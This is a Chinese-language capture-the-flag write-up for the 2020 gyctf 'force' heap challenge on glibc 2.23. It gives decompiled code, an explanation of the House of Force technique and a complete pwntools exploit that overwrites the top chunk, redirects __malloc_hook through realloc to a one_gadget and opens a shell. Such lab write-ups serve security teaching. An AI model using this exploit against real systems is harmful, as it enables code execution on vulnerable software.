本文最后更新于:2024年5月18日 中午
本题出自2020 gyctf。基于GLIBC 2.23-0ubuntu11。
checksec
1 2 3 4 5
| Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { __int64 v3; char s[256]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 255, sizeof(s)); while ( 1 ) { memset(s, 255, sizeof(s)); puts("1:add"); puts("2:puts"); read(0, nptr, 0xFuLL); v3 = atol(nptr); if ( v3 == 1 ) { add(); } else if ( v3 == 2 ) { puts(); } } }
|
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned __int64 add() { const void **i; __int64 size; char s[256]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); memset(s, 255, sizeof(s)); for ( i = (const void **)&unk_202080; *i; ++i ) ; if ( (char *)i - (char *)&unk_202080 > 39 ) exit(0); puts("size"); read(0, nptr, 0xFuLL); size = atol(nptr); *i = malloc(size); if ( !*i ) exit(0); printf("bin addr %p\n", *i); puts("content"); read(0, (void *)*i, 0x50uLL); puts("done"); return __readfsqword(0x28u) ^ v4; }
|
可以发现在读入content时限制长度为0x50,那我们就可以尝试较小的malloc从而实现top chunk的控制;对于申请大小没有做限制,通过mmap申请的大堆地址会分配在libc base附近;通过brk申请的小堆地址会分配在.data到_edata;利用题目给出的bin addr的地址可以进一步得到top chunk的位置和libc base的地址。
puts
1 2 3 4 5 6 7 8
| int puts(const char *s) { unsigned __int64 v3;
v3 = __readfsqword(0x28u); puts(&byte_D93); return __readfsqword(0x28u) ^ v3; }
|
由此我们可以很清楚地得到解题步骤:通过控制top chunk从而实现任意地址分配,进而控制__malloc_hook
或puts
为ogg或system并尝试执行即可。
在直接修改__malloc_hook
为ogg时发现并不能通,发现栈未对齐,于是可以使用realloc
中的sub rsp, 38h
去完成栈对齐即可,那么从__realloc_hook
开始的内容应该是:原__realloc_hook
的地址对应ogg,__malloc_hook
的地址指向__libc_realloc+0x10
,实现调用malloc -> __malloc_hook -> __libc_realloc+0x10 -> __realloc_hook -> one_gadget
。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context.log_level = 'debug' ip = port = io = remote(ip, port) elf = ELF('./force') libc = ELF('./libc-2.23.so')
io.sendlineafter(b'puts\n', b'1') io.sendlineafter(b'size\n', b'2097152') io.recvuntil(b'bin addr 0x') lb = int(io.recv(12), 16) + 0x200ff0 success('libc_base ='+hex(lb)) io.sendafter(b'content\n', b'111')
io.sendlineafter(b'puts\n', b'1') io.sendlineafter(b'size\n', b'24') io.recvuntil(b'bin addr 0x') tc = int(io.recv(12), 16) + 0x10 io.sendafter(b'content\n', b'\x00'*0x18+p64(0xffffffffffffffff))
mh = lb + libc.sym['__malloc_hook'] offset = mh - tc - 0x10*2 - 0x10 io.sendlineafter(b'puts\n', b'1') io.sendlineafter(b'size\n', str(offset).encode()) io.sendafter(b'content\n', b'111')
io.sendlineafter(b'puts\n', b'1') io.sendlineafter(b'size\n', b'16') io.sendafter(b'content\n', b'\x00'*8+p64(lb + 0x4526a)+p64(lb+libc.sym['__libc_realloc']+0x10)) success(hex(libc.sym.__malloc_hook)) success(hex(libc.sym.__libc_realloc)) io.sendlineafter(b'puts\n', b'1') io.sendlineafter(b'size\n', b'16') io.interactive()
|
总结
house of force是一种可以额外获得更大空间的chunk的一种手法,通过修改top chunk的值来实现,
影响版本:2.27之前。由于在2.27为chunk添加了检查,在未来版本该手法失效。
本题考点:mmap分配的大堆会在libc下方,brk分配的小堆会在原本堆栈之间_edata的位置。修改top chunk以绕过堆分割方式,将大堆用brk分配到指定位置以进行进一步控制。
注意:GLIBC 2.23-0ubuntu11与GLIBC 2.23-0ubuntu11.3部分函数位置不同,例如__libc_realloc
。